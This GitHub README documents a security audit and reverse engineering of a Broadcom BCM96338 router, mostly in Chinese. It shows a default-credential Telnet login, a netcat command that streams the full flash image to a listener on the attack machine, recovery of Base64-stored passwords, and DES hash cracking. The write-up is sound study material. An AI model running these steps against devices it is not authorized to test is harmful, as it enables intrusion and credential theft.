zuhtuEren/bcm96338-re
GitHub: zuhtuEren/bcm96338-re
针对Broadcom BCM96338老旧路由器的完整安全审计与逆向工程项目,演示固件渗出、文件系统分析和凭据破解的全流程。
Stars: 0 | Forks: 0
# 🕵️♂️ Modem-Reverse-Engineering: Broadcom BCM96338 分析
**Modem-Reverse-Engineering** 记录了对基于 **Broadcom BCM96338** 的嵌入式设备(Pikatel / AirTies)进行端到端逆向工程的过程。其目的是审计设备的安全性,理解其专有文件系统,并使用静态和实时分析技术检索隐藏的凭据。
## 🚀 主要成果
* **网络侦察:** 服务枚举发现暴露的 Telnet 和 FTP 端口。
* **固件渗出:** 使用 Netcat “盲流” 绕过受限环境,通过 TCP 转储闪存。
* **架构分析:** 处理 Big Endian MIPS 约束和专有的 Broadcom 头部。
* **实时分析:** 浏览只读 SquashFS 以提取 Base64 编码的配置凭据。
* **权限提升:** 使用 John the Ripper 破解旧版 DES (crypt3) 系统哈希。
## 📂 系统架构(路由器)
嵌入式设备为其操作维护特定的内存和文件系统结构:
```
/
├── dev/ # Device nodes
│ └── mtdblock0 # Flash storage block containing the full firmware (mtd0)
├── etc/ # System configuration
│ └── passwd # DES encrypted user hashes
├── proc/ # Kernel and process information
│ └── mtd # Memory layout map
└── var/ # Volatile data and temporary configuration
```

*图:验证内核版本和 CPU 架构(MIPS Big Endian, BCM6338)。*
## 🛠️ 分析指南
### 📋 前置条件
在开始分析之前,请确保您拥有以下工具:
* **nmap** (网络扫描)
* **netcat** (数据流传输)
* **John the Ripper** (哈希破解)
* **Unix 实用工具** (`dd`, `strings`, `binwalk`)
### 1. 网络发现与访问
枚举设备服务并获得初始 shell 访问权限:
```
nmap -p- -sV
```

使用默认凭据 (`admin:password`),通过 Telnet 获得 shell 访问权限:
```
telnet
```

### 2. 固件渗出 (Netcat 流)
标准工具如 `wget` 已被精简。由于无法将文件下载到路由器,我使用 **Netcat** 将数据流式传输出去。

在攻击机上,启动一个监听器:
```
./scripts/exfiltrate_firmware.sh 2323
```
在被攻陷的路由器上,流式传输 `mtd0` 闪存块:
```
cat /dev/mtdblock0 | nc 2323
```

### 3. 固件处理
剥离专有的 Broadcom 头部以准备分析:
```
./scripts/strip_header.sh firmware_dump.bin firmware_squashfs.bin
```
## ⚙️ 利用与发现
分析揭示了几个关键漏洞和架构限制:
### 静态分析限制
由于 **Big Endian** MIPS 架构,现代 x86/x64 系统上的标准提取工具无法原生读取文件系统。

### 凭据提取(实时分析)
转向实时分析,在 **XML 文件** 中发现了敏感凭据(ISP PPPoE 密码,支持凭据),仅使用 **Base64** 编码。

* `cGFzc3dvcmQ=` -> **password** (管理员)
* `c3VwcG9ydA==` -> **support** (隐藏服务账户)
### 权限提升
使用 John the Ripper 在几秒钟内破解了来自 `/etc/passwd` 的系统用户哈希。

### 持久化限制
尝试写入后门失败,因为根文件系统挂载为 **只读 (SquashFS)**。

## 🛡️ 漏洞概览
| 层级 | 发现 | 影响 |
| :--------------: | :------------------------: | :-------------------------------------------------: |
| **网络** | Telnet 暴露 | 默认情况下可访问未加密的远程管理。|
| **存储** | Base64 凭据 | 密码以易于逆的格式存储。 |
| **认证**| DES (crypt3) 哈希 | 弱、易于破解的旧版哈希算法。 |
| **系统** | 只读 SquashFS | 阻止了简单的持久化,需要完全重刷|
## 🔗 技术支持(技术栈与工具)
此分析利用了多种工具。如需高级用法,请参阅其官方文档:
| 工具 | 角色 | 文档 |
| :-------------: | :-------------: | :-----------------------------------------: |
| **Nmap** | 侦察 | [nmap.org](https://nmap.org/) |
| **Netcat** | 数据渗出| [nc110](http://nc110.sourceforge.net/) |
| **John the Ripper**| 哈希破解 | [openwall.com/john](https://www.openwall.com/john/) |
| **Binwalk** | 静态分析 | [github.com/ReFirmLabs/binwalk](https://github.com/ReFirmLabs/binwalk) |
## ⚠️ 免责声明
## ⚖️ 许可证
根据 MIT 许可证分发。有关更多信息,请参阅 `LICENSE`。
标签:AES-256, BCM96338, Big Endian, Binwalk, Broadcom, DES Hash, DOS头擦除, Flash dump, HTTP工具, John the Ripper, MIPS架构, Netcat, SquashFS, 云资产清单, 固件分析, 固件提取, 密码破解, 嵌入式系统, 漏洞评估, 硬件黑客, 网络安全审计, 网络设备, 路由器安全, 逆向工程